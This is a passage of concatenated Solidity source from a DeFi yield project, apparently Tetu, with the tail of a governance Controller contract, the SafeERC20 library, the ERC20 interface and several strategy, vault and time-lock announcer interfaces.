function setFundToken(address _newValue) external {
onlyGovernance();
timeLock(
keccak256(abi.encode(IAnnouncer.TimeLockOpCodes.FundToken, _newValue)),
IAnnouncer.TimeLockOpCodes.FundToken,
fundToken() == address(0),
address(0)
);
_setFundToken(_newValue);
}
/// @notice Only Governance can do it. Change ProfitSharing vault address.
/// @param _newValue New ProfitSharing vault address
function setPsVault(address _newValue) external {
onlyGovernance();
timeLock(
keccak256(abi.encode(IAnnouncer.TimeLockOpCodes.PsVault, _newValue)),
IAnnouncer.TimeLockOpCodes.PsVault,
psVault() == address(0),
address(0)
);
_setPsVault(_newValue);
}
/// @notice Only Governance can do it. Change FundKeeper address.
/// @param _newValue New FundKeeper address
function setFund(address _newValue) external {
onlyGovernance();
timeLock(
keccak256(abi.encode(IAnnouncer.TimeLockOpCodes.Fund, _newValue)),
IAnnouncer.TimeLockOpCodes.Fund,
fund() == address(0),
address(0)
);
_setFund(_newValue);
}
/// @notice Only Governance can do it. Change Announcer address.
/// Has dedicated time-lock logic for avoiding collisions.
/// @param _newValue New Announcer address
function setAnnouncer(address _newValue) external {
onlyGovernance();
bytes32 opHash = keccak256(abi.encode(IAnnouncer.TimeLockOpCodes.Announcer, _newValue));
if (_announcer() != address(0)) {
require(IAnnouncer(_announcer()).timeLockSchedule(opHash) > 0, "C: Not announced");
require(IAnnouncer(_announcer()).timeLockSchedule(opHash) < block.timestamp, "C: Too early");
}
_setAnnouncer(_newValue);
// clear announce after update not necessary
// check new announcer implementation for reducing the chance of DoS
IAnnouncer.TimeLockInfo memory info = IAnnouncer(_announcer()).timeLockInfo(0);
require(info.opCode == IAnnouncer.TimeLockOpCodes.ZeroPlaceholder, "C: Wrong");
}
/// @notice Only Governance can do it. Change FundKeeper address.
/// @param _newValue New FundKeeper address
function setVaultController(address _newValue) external {
onlyGovernance();
timeLock(
keccak256(abi.encode(IAnnouncer.TimeLockOpCodes.VaultController, _newValue)),
IAnnouncer.TimeLockOpCodes.VaultController,
vaultController() == address(0),
address(0)
);
_setVaultController(_newValue);
}
// ------------------ TIME-LOCK RATIO CHANGE -------------------
/// @notice Only Governance or DAO can do it. Change Profit Sharing fee ratio.
/// numerator/denominator = ratio
/// @param numerator Ratio numerator. Should be less than denominator
/// @param denominator Ratio denominator. Should be greater than zero
function setPSNumeratorDenominator(uint256 numerator, uint256 denominator) public override {
onlyGovernanceOrDao();
timeLock(
keccak256(abi.encode(IAnnouncer.TimeLockOpCodes.PsRatio, numerator, denominator)),
IAnnouncer.TimeLockOpCodes.PsRatio,
psNumerator() == 0 && psDenominator() == 0,
address(0)
);
_setPsNumerator(numerator);
_setPsDenominator(denominator);
}
/// @notice Only Governance or DAO can do it. Change Fund fee ratio.
/// numerator/denominator = ratio
/// @param numerator Ratio numerator. Should be less than denominator
/// @param denominator Ratio denominator. Should be greater than zero
function setFundNumeratorDenominator(uint256 numerator, uint256 denominator) public override {
onlyGovernanceOrDao();
timeLock(
keccak256(abi.encode(IAnnouncer.TimeLockOpCodes.FundRatio, numerator, denominator)),
IAnnouncer.TimeLockOpCodes.FundRatio,
fundNumerator() == 0 && fundDenominator() == 0,
address(0)
);
_setFundNumerator(numerator);
_setFundDenominator(denominator);
}
// ------------------ TIME-LOCK TOKEN MOVEMENTS -------------------
/// @notice Only Governance can do it. Transfer token from this contract to governance address
/// @param _recipient Recipient address
/// @param _token Token address
/// @param _amount Token amount
function controllerTokenMove(address _recipient, address _token, uint256 _amount) external {
onlyGovernance();
timeLock(
keccak256(abi.encode(IAnnouncer.TimeLockOpCodes.ControllerTokenMove, _recipient, _token, _amount)),
IAnnouncer.TimeLockOpCodes.ControllerTokenMove,
false,
address(0)
);
IERC20(_token).safeTransfer(_recipient, _amount);
emit ControllerTokenMoved(_recipient, _token, _amount);
}
/// @notice Only Governance can do it. Transfer token from strategy to governance address
/// @param _strategy Strategy address
/// @param _token Token address
/// @param _amount Token amount
function strategyTokenMove(address _strategy, address _token, uint256 _amount) external {
onlyGovernance();
timeLock(
keccak256(abi.encode(IAnnouncer.TimeLockOpCodes.StrategyTokenMove, _strategy, _token, _amount)),
IAnnouncer.TimeLockOpCodes.StrategyTokenMove,
false,
address(0)
);
// the strategy is responsible for maintaining the list of
// salvageable tokens, to make sure that governance cannot come
// in and take away the coins
IStrategy(_strategy).salvage(_governance(), _token, _amount);
emit StrategyTokenMoved(_strategy, _token, _amount);
}
/// @notice Only Governance can do it. Transfer token from FundKeeper to controller
/// @param _fund FundKeeper address
/// @param _token Token address
/// @param _amount Token amount
function fundKeeperTokenMove(address _fund, address _token, uint256 _amount) external {
onlyGovernance();
timeLock(
keccak256(abi.encode(IAnnouncer.TimeLockOpCodes.FundTokenMove, _fund, _token, _amount)),
IAnnouncer.TimeLockOpCodes.FundTokenMove,
false,
address(0)
);
IFundKeeper(_fund).withdrawToController(_token, _amount);
emit FundKeeperTokenMoved(_fund, _token, _amount);
}
// ---------------- NO TIME_LOCK --------------------------
/// @notice Only Governance can do it. Set reward distributor address.
/// Distributor is a part of not critical infrastructure contracts and not require time-lock
/// @param _distributor New distributor address
function setDistributor(address _distributor) external {
onlyGovernance();
require(_distributor != address(0));
_setDistributor(_distributor);
emit DistributorChanged(_distributor);
}
/// @notice Only Governance can do it. Add/Remove Reward Distributor address
/// @param _newRewardDistribution Reward Distributor's addresses
/// @param _flag Reward Distributor's flags - true active, false deactivated
function setRewardDistribution(address[] calldata _newRewardDistribution, bool _flag) external {
onlyGovernance();
for (uint256 i = 0; i < _newRewardDistribution.length; i++) {
rewardDistribution[_newRewardDistribution[i]] = _flag;
}
}
/// @notice Only Governance can do it. Allow given addresses claim rewards without any penalty
function setPureRewardConsumers(address[] calldata _targets, bool _flag) external {
onlyGovernance();
for (uint256 i = 0; i < _targets.length; i++) {
pureRewardConsumers[_targets[i]] = _flag;
}
}
/// @notice Only Governance can do it. Add HardWorker address.
/// @param _worker New HardWorker address
function addHardWorker(address _worker) external {
onlyGovernance();
require(_worker != address(0));
hardWorkers[_worker] = true;
emit HardWorkerAdded(_worker);
}
/// @notice Only Governance can do it. Remove HardWorker address.
/// @param _worker Exist HardWorker address
function removeHardWorker(address _worker) external {
onlyGovernance();
require(_worker != address(0));
hardWorkers[_worker] = false;
emit HardWorkerRemoved(_worker);
}
/// @notice Only Governance or DAO can do it. Add to whitelist an array of addresses
/// @param _targets An array of contracts
function changeWhiteListStatus(address[] calldata _targets, bool status) external override {
onlyGovernanceOrDao();
for (uint256 i = 0; i < _targets.length; i++) {
whiteList[_targets[i]] = status;
emit WhiteListStatusChanged(_targets[i], status);
}
}
/// @notice Only Governance can do it. Register pairs Vault/Strategy
/// @param _vaults Vault addresses
/// @param _strategies Strategy addresses
function addVaultsAndStrategies(address[] memory _vaults, address[] memory _strategies) external override {
onlyGovernance();
require(_vaults.length == _strategies.length, "arrays wrong length");
for (uint256 i = 0; i < _vaults.length; i++) {
_addVaultAndStrategy(_vaults[i], _strategies[i]);
}
}
/// @notice Only Governance can do it. Register a pair Vault/Strategy
/// @param _vault Vault addresses
/// @param _strategy Strategy addresses
function _addVaultAndStrategy(address _vault, address _strategy) private {
require(_vault != address(0), "new vault shouldn't be empty");
require(!vaults[_vault], "vault already exists");
require(!strategies[_strategy], "strategy already exists");
require(_strategy != address(0), "new strategy must not be empty");
require(IControllable(_vault).isController(address(this)));
vaults[_vault] = true;
IBookkeeper(_bookkeeper()).addVault(_vault);
// adding happens while setting
_setVaultStrategy(_vault, _strategy);
emit VaultAndStrategyAdded(_vault, _strategy);
}
/// @notice Only Vault can do it. Register Strategy. Vault call it when governance set a strategy
/// @param _strategy Strategy addresses
function addStrategy(address _strategy) external override {
require(vaults[msg.sender], "C: Not vault");
if (!strategies[_strategy]) {
strategies[_strategy] = true;
IBookkeeper(_bookkeeper()).addStrategy(_strategy);
}
}
/// @notice Only Governance or HardWorker can do it. Call doHardWork from given Vault
/// @param _vault Vault addresses
function doHardWork(address _vault) external {
require(hardWorkers[msg.sender] || _isGovernance(msg.sender), "C: Not hardworker or governance");
require(vaults[_vault], "C: Not vault");
uint256 oldSharePrice = ISmartVault(_vault).getPricePerFullShare();
ISmartVault(_vault).doHardWork();
emit SharePriceChangeLog(
_vault,
ISmartVault(_vault).strategy(),
oldSharePrice,
ISmartVault(_vault).getPricePerFullShare(),
block.timestamp
);
}
/// @notice Only HardWorker can do it. Call rebalanceAllPipes for given Strategy (AMB Platform)
/// @param _strategy Vault addresses
function rebalance(address _strategy) external override {
require(hardWorkers[msg.sender], "C: Not hardworker");
require(strategies[_strategy], "C: Not strategy");
IBalancingStrategy(_strategy).rebalanceAllPipes();
}
// ***************** EXTERNAL *******************************
/// @notice Return true if the given address is DAO
/// @param _adr Address for check
/// @return true if it is a DAO address
function isDao(address _adr) external view override returns (bool) {
return _dao() == _adr;
}
/// @notice Return true if the given address is a HardWorker or Governance
/// @param _adr Address for check
/// @return true if it is a HardWorker or Governance
function isHardWorker(address _adr) external override view returns (bool) {
return hardWorkers[_adr] || _governance() == _adr;
}
/// @notice Return true if the given address is a Reward Distributor or Governance or Strategy
/// @param _adr Address for check
/// @return true if it is a Reward Distributor or Governance or Strategy
function isRewardDistributor(address _adr) external override view returns (bool) {
return rewardDistribution[_adr] || _governance() == _adr || strategies[_adr];
}
/// @notice Return true if the given address is allowed for claim rewards without penalties
function isPoorRewardConsumer(address _adr) external override view returns (bool) {
return pureRewardConsumers[_adr];
}
/// @notice Return true if the given address:
/// - is not smart contract
/// - added to whitelist
/// - governance address
/// - hardworker
/// - reward distributor
/// - registered vault
/// - registered strategy
/// @param _adr Address for check
/// @return true if the address allowed
function isAllowedUser(address _adr) external view override returns (bool) {
return isNotSmartContract(_adr)
|| whiteList[_adr]
|| _governance() == _adr
|| hardWorkers[_adr]
|| rewardDistribution[_adr]
|| pureRewardConsumers[_adr]
|| vaults[_adr]
|| strategies[_adr];
}
/// @notice Return true if given address is not a smart contract but a wallet address
/// @dev it is not 100% guarantee after EIP-3074 implementation
/// use it as an additional check
/// @param _adr Address for check
/// @return true if the address is a wallet
function isNotSmartContract(address _adr) private view returns (bool) {
return _adr == tx.origin;
}
/// @notice Return true if the given address is a registered vault
/// @param _vault Address for check
/// @return true if it is a registered vault
function isValidVault(address _vault) external override view returns (bool) {
return vaults[_vault];
}
/// @notice Return true if the given address is a registered strategy
/// @param _strategy Address for check
/// @return true if it is a registered strategy
function isValidStrategy(address _strategy) external override view returns (bool) {
return strategies[_strategy];
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: ISC
/**
* By using this software, you understand, acknowledge and accept that Tetu
* and/or the underlying software are provided “as is” and “as available”
* basis and without warranties or representations of any kind either expressed
* or implied. Any use of this open source software released under the ISC
* Internet Systems Consortium license is done at your own risk to the fullest
* extent permissible pursuant to applicable law any and all liability as well
* as all warranties, including any fitness for a particular purpose with respect
* to Tetu and/or the underlying software and the use thereof are disclaimed.
*/
pragma solidity 0.8.4;
interface IStrategy {
enum Platform {
UNKNOWN, // 0
TETU, // 1
QUICK, // 2
SUSHI, // 3
WAULT, // 4
IRON, // 5
COSMIC, // 6
CURVE, // 7
DINO, // 8
IRON_LEND, // 9
HERMES, // 10
CAFE, // 11
TETU_SWAP, // 12
SPOOKY, // 13
AAVE_LEND, //14
AAVE_MAI_BAL, // 15
GEIST, //16
HARVEST, //17
SCREAM_LEND, //18
KLIMA, //19
VESQ, //20
QIDAO, //21
SUNFLOWER, //22
NACHO, //23
STRATEGY_SPLITTER, //24
TOMB, //25
TAROT, //26
BEETHOVEN, //27
IMPERMAX, //28
TETU_SF, //29
ALPACA, //30
MARKET, //31
UNIVERSE, //32
MAI_BAL, //33
UMA, //34
SPHERE, //35
BALANCER, //36
SLOT_37, //37
SLOT_38, //38
SLOT_39, //39
SLOT_40, //40
SLOT_41, //41
SLOT_42, //42
SLOT_43, //43
SLOT_44, //44
SLOT_45, //45
SLOT_46, //46
SLOT_47, //47
SLOT_48, //48
SLOT_49, //49
SLOT_50 //50
}
// *************** GOVERNANCE ACTIONS **************
function STRATEGY_NAME() external view returns (string memory);
function withdrawAllToVault() external;
function withdrawToVault(uint256 amount) external;
function salvage(address recipient, address token, uint256 amount) external;
function doHardWork() external;
function investAllUnderlying() external;
function emergencyExit() external;
function pauseInvesting() external;
function continueInvesting() external;
// **************** VIEWS ***************
function rewardTokens() external view returns (address[] memory);
function underlying() external view returns (address);
function underlyingBalance() external view returns (uint256);
function rewardPoolBalance() external view returns (uint256);
function buyBackRatio() external view returns (uint256);
function unsalvageableTokens(address token) external view returns (bool);
function vault() external view returns (address);
function investedUnderlyingBalance() external view returns (uint256);
function platform() external view returns (Platform);
function assets() external view returns (address[] memory);
function pausedInvesting() external view returns (bool);
function readyToClaim() external view returns (uint256[] memory);
function poolTotalAmount() external view returns (uint256);
}
// SPDX-License-Identifier: ISC
/**
* By using this software, you understand, acknowledge and accept that Tetu
* and/or the underlying software are provided “as is” and “as available”
* basis and without warranties or representations of any kind either expressed
* or implied. Any use of this open source software released under the ISC
* Internet Systems Consortium license is done at your own risk to the fullest
* extent permissible pursuant to applicable law any and all liability as well
* as all warranties, including any fitness for a particular purpose with respect
* to Tetu and/or the underlying software and the use thereof are disclaimed.
*/
pragma solidity 0.8.4;
interface IStrategySplitter {
function strategies(uint idx) external view returns (address);
function strategiesRatios(address strategy) external view returns (uint);
function withdrawRequestsCalls(address user) external view returns (uint);
function addStrategy(address _strategy) external;
function removeStrategy(address _strategy) external;
function setStrategyRatios(address[] memory _strategies, uint[] memory _ratios) external;
function strategiesInited() external view returns (bool);
function needRebalance() external view returns (uint);
function wantToWithdraw() external view returns (uint);
function maxCheapWithdraw() external view returns (uint);
function strategiesLength() external view returns (uint);
function allStrategies() external view returns (address[] memory);
function strategyRewardTokens() external view returns (address[] memory);
}
// SPDX-License-Identifier: ISC
/**
* By using this software, you understand, acknowledge and accept that Tetu
* and/or the underlying software are provided “as is” and “as available”
* basis and without warranties or representations of any kind either expressed
* or implied. Any use of this open source software released under the ISC
* Internet Systems Consortium license is done at your own risk to the fullest
* extent permissible pursuant to applicable law any and all liability as well
* as all warranties, including any fitness for a particular purpose with respect
* to Tetu and/or the underlying software and the use thereof are disclaimed.
*/
pragma solidity 0.8.4;
interface ISmartVault {
function setStrategy(address _strategy) external;
function changeActivityStatus(bool _active) external;
function changeProtectionMode(bool _active) external;
function changePpfsDecreaseAllowed(bool _value) external;
function setLockPeriod(uint256 _value) external;
function setLockPenalty(uint256 _value) external;
function setToInvest(uint256 _value) external;
function doHardWork() external;
function rebalance() external;
function disableLock() external;
function notifyTargetRewardAmount(address _rewardToken, uint256 reward) external;
function notifyRewardWithoutPeriodChange(address _rewardToken, uint256 reward) external;
function deposit(uint256 amount) external;
function depositAndInvest(uint256 amount) external;
function depositFor(uint256 amount, address holder) external;
function withdraw(uint256 numberOfShares) external;
function exit() external;
function getAllRewards() external;
function getReward(address rt) external;
function underlying() external view returns (address);
function strategy() external view returns (address);
function getRewardTokenIndex(address rt) external view returns (uint256);
function getPricePerFullShare() external view returns (uint256);
function underlyingUnit() external view returns (uint256);
function duration() external view returns (uint256);
function underlyingBalanceInVault() external view returns (uint256);
function underlyingBalanceWithInvestment() external view returns (uint256);
function underlyingBalanceWithInvestmentForHolder(address holder) external view returns (uint256);
function availableToInvestOut() external view returns (uint256);
function earned(address rt, address account) external view returns (uint256);
function earnedWithBoost(address rt, address account) external view returns (uint256);
function rewardPerToken(address rt) external view returns (uint256);
function lastTimeRewardApplicable(address rt) external view returns (uint256);
function rewardTokensLength() external view returns (uint256);
function active() external view returns (bool);
function rewardTokens() external view returns (address[] memory);
function periodFinishForToken(address _rt) external view returns (uint256);
function rewardRateForToken(address _rt) external view returns (uint256);
function lastUpdateTimeForToken(address _rt) external view returns (uint256);
function rewardPerTokenStoredForToken(address _rt) external view returns (uint256);
function userRewardPerTokenPaidForToken(address _rt, address account) external view returns (uint256);
function rewardsForToken(address _rt, address account) external view returns (uint256);
function userLastWithdrawTs(address _user) external view returns (uint256);
function userLastDepositTs(address _user) external view returns (uint256);
function userBoostTs(address _user) external view returns (uint256);
function userLockTs(address _user) external view returns (uint256);
function addRewardToken(address rt) external;
function removeRewardToken(address rt) external;
function stop() external;
function ppfsDecreaseAllowed() external view returns (bool);
function lockPeriod() external view returns (uint256);
function lockPenalty() external view returns (uint256);
function toInvest() external view returns (uint256);
function depositFeeNumerator() external view returns (uint256);
function lockAllowed() external view returns (bool);
function protectionMode() external view returns (bool);
}
// SPDX-License-Identifier: ISC
/**
* By using this software, you understand, acknowledge and accept that Tetu
* and/or the underlying software are provided “as is” and “as available”
* basis and without warranties or representations of any kind either expressed
* or implied. Any use of this open source software released under the ISC
* Internet Systems Consortium license is done at your own risk to the fullest
* extent permissible pursuant to applicable law any and all liability as well
* as all warranties, including any fitness for a particular purpose with respect
* to Tetu and/or the underlying software and the use thereof are disclaimed.
*/
pragma solidity 0.8.4;
interface IFeeRewardForwarder {
function distribute(uint256 _amount, address _token, address _vault) external returns (uint256);
function notifyPsPool(address _token, uint256 _amount) external returns (uint256);
function notifyCustomPool(address _token, address _rewardPool, uint256 _maxBuyback) external returns (uint256);
function liquidate(address tokenIn, address tokenOut, uint256 amount) external returns (uint256);
}
// SPDX-License-Identifier: ISC
/**
* By using this software, you understand, acknowledge and accept that Tetu
* and/or the underlying software are provided “as is” and “as available”
* basis and without warranties or representations of any kind either expressed
* or implied. Any use of this open source software released under the ISC
* Internet Systems Consortium license is done at your own risk to the fullest
* extent permissible pursuant to applicable law any and all liability as well
* as all warranties, including any fitness for a particular purpose with respect
* to Tetu and/or the underlying software and the use thereof are disclaimed.
*/
pragma solidity 0.8.4;
interface IBookkeeper {
struct PpfsChange {
address vault;
uint256 block;
uint256 time;
uint256 value;
uint256 oldBlock;
uint256 oldTime;
uint256 oldValue;
}
struct HardWork {
address strategy;
uint256 block;
uint256 time;
uint256 targetTokenAmount;
}
function addVault(address _vault) external;
function addStrategy(address _strategy) external;
function registerStrategyEarned(uint256 _targetTokenAmount) external;
function registerFundKeeperEarned(address _token, uint256 _fundTokenAmount) external;
function registerUserAction(address _user, uint256 _amount, bool _deposit) external;
function registerVaultTransfer(address from, address to, uint256 amount) external;
function registerUserEarned(address _user, address _vault, address _rt, uint256 _amount) external;
function registerPpfsChange(address vault, uint256 value) external;
function registerRewardDistribution(address vault, address token, uint256 amount) external;
function vaults() external view returns (address[] memory);
function vaultsLength() external view returns (uint256);
function strategies() external view returns (address[] memory);
function strategiesLength() external view returns (uint256);
function lastPpfsChange(address vault) external view returns (PpfsChange memory);
/// @notice Return total earned TETU tokens for strategy
/// @dev Should be incremented after strategy rewards distribution
/// @param strategy Strategy address
/// @return Earned TETU tokens
function targetTokenEarned(address strategy) external view returns (uint256);
/// @notice Return share(xToken) balance of given user
/// @dev Should be calculated for each xToken transfer
/// @param vault Vault address
/// @param user User address
/// @return User share (xToken) balance
function vaultUsersBalances(address vault, address user) external view returns (uint256);
/// @notice Return earned token amount for given token and user
/// @dev Fills when user claim rewards
/// @param user User address
/// @param vault Vault address
/// @param token Token address
/// @return User's earned tokens amount
function userEarned(address user, address vault, address token) external view returns (uint256);
function lastHardWork(address vault) external view returns (HardWork memory);
/// @notice Return users quantity for given Vault
/// @dev Calculation based in Bookkeeper user balances
/// @param vault Vault address
/// @return Users quantity
function vaultUsersQuantity(address vault) external view returns (uint256);
function fundKeeperEarned(address vault) external view returns (uint256);
function vaultRewards(address vault, address token, uint256 idx) external view returns (uint256);
function vaultRewardsLength(address vault, address token) external view returns (uint256);
function strategyEarnedSnapshots(address strategy, uint256 idx) external view returns (uint256);
function strategyEarnedSnapshotsTime(address strategy, uint256 idx) external view returns (uint256);
function strategyEarnedSnapshotsLength(address strategy) external view returns (uint256);
}
// SPDX-License-Identifier: ISC
/**
* By using this software, you understand, acknowledge and accept that Tetu
* and/or the underlying software are provided “as is” and “as available”
* basis and without warranties or representations of any kind either expressed
* or implied. Any use of this open source software released under the ISC
* Internet Systems Consortium license is done at your own risk to the fullest
* extent permissible pursuant to applicable law any and all liability as well
* as all warranties, including any fitness for a particular purpose with respect
* to Tetu and/or the underlying software and the use thereof are disclaimed.
*/
pragma solidity 0.8.4;
interface IUpgradeSource {
function scheduleUpgrade(address impl) external;
function finalizeUpgrade() external;
function shouldUpgrade() external view returns (bool, address);
}
// SPDX-License-Identifier: ISC
/**
* By using this software, you understand, acknowledge and accept that Tetu
* and/or the underlying software are provided “as is” and “as available”
* basis and without warranties or representations of any kind either expressed
* or implied. Any use of this open source software released under the ISC
* Internet Systems Consortium license is done at your own risk to the fullest
* extent permissible pursuant to applicable law any and all liability as well
* as all warranties, including any fitness for a particular purpose with respect
* to Tetu and/or the underlying software and the use thereof are disclaimed.
*/
pragma solidity 0.8.4;
interface IFundKeeper {
function withdrawToController(address _token, uint256 amount) external;
}
// SPDX-License-Identifier: ISC
/**
* By using this software, you understand, acknowledge and accept that Tetu
* and/or the underlying software are provided “as is” and “as available”
* basis and without warranties or representations of any kind either expressed
* or implied. Any use of this open source software released under the ISC
* Internet Systems Consortium license is done at your own risk to the fullest
* extent permissible pursuant to applicable law any and all liability as well
* as all warranties, including any fitness for a particular purpose with respect
* to Tetu and/or the underlying software and the use thereof are disclaimed.
*/
pragma solidity 0.8.4;
interface ITetuProxy {
function upgrade(address _newImplementation) external;
function implementation() external returns (address);
}
// SPDX-License-Identifier: ISC
/**
* By using this software, you understand, acknowledge and accept that Tetu
* and/or the underlying software are provided “as is” and “as available”
* basis and without warranties or representations of any kind either expressed
* or implied. Any use of this open source software released under the ISC
* Internet Systems Consortium license is done at your own risk to the fullest
* extent permissible pursuant to applicable law any and all liability as well
* as all warranties, including any fitness for a particular purpose with respect
* to Tetu and/or the underlying software and the use thereof are disclaimed.
*/
pragma solidity 0.8.4;
interface IMintHelper {
function mintAndDistribute(
uint256 totalAmount,
address _distributor,
address _otherNetworkFund,
bool mintAllAvailable
) external;
function devFundsList(uint256 idx) external returns (address);
}
// SPDX-License-Identifier: ISC
/**
* By using this software, you understand, acknowledge and accept that Tetu
* and/or the underlying software are provided “as is” and “as available”
* basis and without warranties or representations of any kind either expressed
* or implied. Any use of this open source software released under the ISC
* Internet Systems Consortium license is done at your own risk to the fullest
* extent permissible pursuant to applicable law any and all liability as well
* as all warranties, including any fitness for a particular purpose with respect
* to Tetu and/or the underlying software and the use thereof are disclaimed.
*/
pragma solidity 0.8.4;
interface IAnnouncer {
/// @dev Time lock operation codes
enum TimeLockOpCodes {
// TimeLockedAddresses
Governance, // 0
Dao, // 1
FeeRewardForwarder, // 2
Bookkeeper, // 3
MintHelper, // 4
RewardToken, // 5
FundToken, // 6
PsVault, // 7
Fund, // 8
// TimeLockedRatios
PsRatio, // 9
FundRatio, // 10
// TimeLockedTokenMoves
ControllerTokenMove, // 11
StrategyTokenMove, // 12
FundTokenMove, // 13
// Other
TetuProxyUpdate, // 14
StrategyUpgrade, // 15
Mint, // 16
Announcer, // 17
ZeroPlaceholder, //18
VaultController, //19
RewardBoostDuration, //20
RewardRatioWithoutBoost, //21
VaultStop //22
}
/// @dev Holder for human readable info
struct TimeLockInfo {
TimeLockOpCodes opCode;
bytes32 opHash;
address target;
address[] adrValues;
uint256[] numValues;
}
function clearAnnounce(bytes32 opHash, TimeLockOpCodes opCode, address target) external;
function timeLockSchedule(bytes32 opHash) external returns (uint256);
function timeLockInfo(uint256 idx) external returns (TimeLockInfo memory);
// ************ DAO ACTIONS *************
function announceRatioChange(TimeLockOpCodes opCode, uint256 numerator, uint256 denominator) external;
}
// SPDX-License-Identifier: ISC
/**
* By using this software, you understand, acknowledge and accept that Tetu
* and/or the underlying software are provided “as is” and “as available”
* basis and without warranties or representations of any kind either expressed
* or implied. Any use of this open source software released under the ISC
* Internet Systems Consortium license is done at your own risk to the fullest
* extent permissible pursuant to applicable law any and all liability as well
* as all warranties, including any fitness for a particular purpose with respect
* to Tetu and/or the underlying software and the use thereof are disclaimed.
*/
pragma solidity 0.8.4;
interface IBalancingStrategy {
function rebalanceAllPipes() external;
}
// SPDX-License-Identifier: ISC
/**
* By using this software, you understand, acknowledge and accept that Tetu
* and/or the underlying software are provided “as is” and “as available”
* basis and without warranties or representations of any kind either expressed
* or implied. Any use of this open source software released under the ISC
* Internet Systems Consortium license is done at your own risk to the fullest
* extent permissible pursuant to applicable law any and all liability as well
* as all warranties, including any fitness for a particular purpose with respect
* to Tetu and/or the underlying software and the use thereof are disclaimed.
*/
pragma solidity 0.8.4;
import "../interface/IController.sol";
import "../../openzeppelin/Initializable.sol";
/// @title Eternal storage + getters and setters pattern
/// @dev If a key value is changed it will be required to setup it again.
/// @author belbix
abstract contract ControllerStorage is Initializable, IController {
// don't change names or ordering!
mapping(bytes32 => uint256) private uintStorage;
mapping(bytes32 => address) private addressStorage;
/// @notice Address changed the variable with `name`
event UpdatedAddressSlot(string indexed name, address oldValue, address newValue);
/// @notice Value changed the variable with `name`
event UpdatedUint256Slot(string indexed name, uint256 oldValue, uint256 newValue);
/// @notice Initialize contract after setup it as proxy implementation
/// @dev Use it only once after first logic setup
/// @param __governance Governance address
function initializeControllerStorage(
address __governance
) public initializer {
_setGovernance(__governance);
}
// ******************* SETTERS AND GETTERS **********************
// ----------- ADDRESSES ----------
function _setGovernance(address _address) internal {
emit UpdatedAddressSlot("governance", _governance(), _address);
